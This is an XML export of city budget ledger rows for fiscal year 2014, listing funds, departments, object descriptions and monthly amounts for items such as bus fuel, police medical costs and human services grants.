<row _id="5361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="5362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>268735.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>268735.0</total></row>
<row _id="5363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402220.0</object><object_description>CEMETERY MISC SALES / SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-274444.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-274444.0</total></row>
<row _id="5364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-26138.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-26138.0</total></row>
<row _id="5365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400030.0</object><object_description>PROPERTY TAXES-CLRR-AIRCRAFT</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400040.0</object><object_description>SUPPLEMENTAL PROPERTY TAX</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400350.0</object><object_description>STATUATORY PASS-THROUGHS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401350.0</object><object_description>GEN PROM BUS LICENSE MONTANA</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-5350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5350.0</total></row>
<row _id="5369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="5370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>230.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>230.0</total></row>
<row _id="5371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="5372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522974.0</object><object_description>LNG FUEL-REVENUE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100000.0</total></row>
<row _id="5373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>205.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>205.0</total></row>
<row _id="5374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="5375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8409.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8409.0</total></row>
<row _id="5376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5857.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5857.0</total></row>
<row _id="5377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1908.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1908.0</total></row>
<row _id="5378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3077.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3077.0</total></row>
<row _id="5379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561133.0</object><object_description>OPCC-DAYBREAK DAY CTR-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>229376.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>229376.0</total></row>
<row _id="5380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562152.0</object><object_description>FM SVC OF SM-MUIR SCHOOL PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100864.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100864.0</total></row>
<row _id="5381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562361.0</object><object_description>ST JOE-FAM SELF SUF PRG-GEN FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>106727.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>106727.0</total></row>
<row _id="5382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565261.0</object><object_description>OPCC-SOJOURN-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>63878.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63878.0</total></row>
<row _id="5383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522976.0</object><object_description>LNG FUEL TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>266500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>266500.0</total></row>
<row _id="5384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>402740.0</object><object_description>SMURRF-CITY OF LA-CAPITAL</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-161662.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-161662.0</total></row>
<row _id="5385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>563585.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>563585.0</total></row>
<row _id="5386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201503.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>201503.0</total></row>
<row _id="5387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="5388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10390.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10390.0</total></row>
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<row _id="5393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>192799.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>192799.0</total></row>
<row _id="5394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13904.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13904.0</total></row>
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<row _id="5398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1189.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1189.0</total></row>
<row _id="5399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4512.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4512.0</total></row>
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<row _id="5402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561131.0</object><object_description>OPCC-CASE MGMT-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>121500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>121500.0</total></row>
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<row _id="5404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562121.0</object><object_description>COMPREHENSIVE CHILD CARE PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>778884.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>778884.0</total></row>
<row _id="5405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562153.0</object><object_description>FM SVC OF SM-EDISON LANGUAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60466.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60466.0</total></row>
<row _id="5406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562281.0</object><object_description>YOUTH DEVELOPMENT PROJECT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>275518.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>275518.0</total></row>
<row _id="5407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562332.0</object><object_description>GROWING PLACE-MPCDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>171201.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>171201.0</total></row>
<row _id="5408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563122.0</object><object_description>ADULT DAY CARE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>132742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>132742.0</total></row>
<row _id="5409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1755.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1755.0</total></row>
<row _id="5410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544190.0</object><object_description>USAR SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9225.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9225.0</total></row>
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<row _id="5412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>162814.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>162814.0</total></row>
<row _id="5413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="5416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>129742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>129742.0</total></row>
<row _id="5417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15567.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15567.0</total></row>
<row _id="5418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>224733.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>224733.0</total></row>
<row _id="5419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>113192.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>113192.0</total></row>
<row _id="5420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>900000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900000.0</total></row>
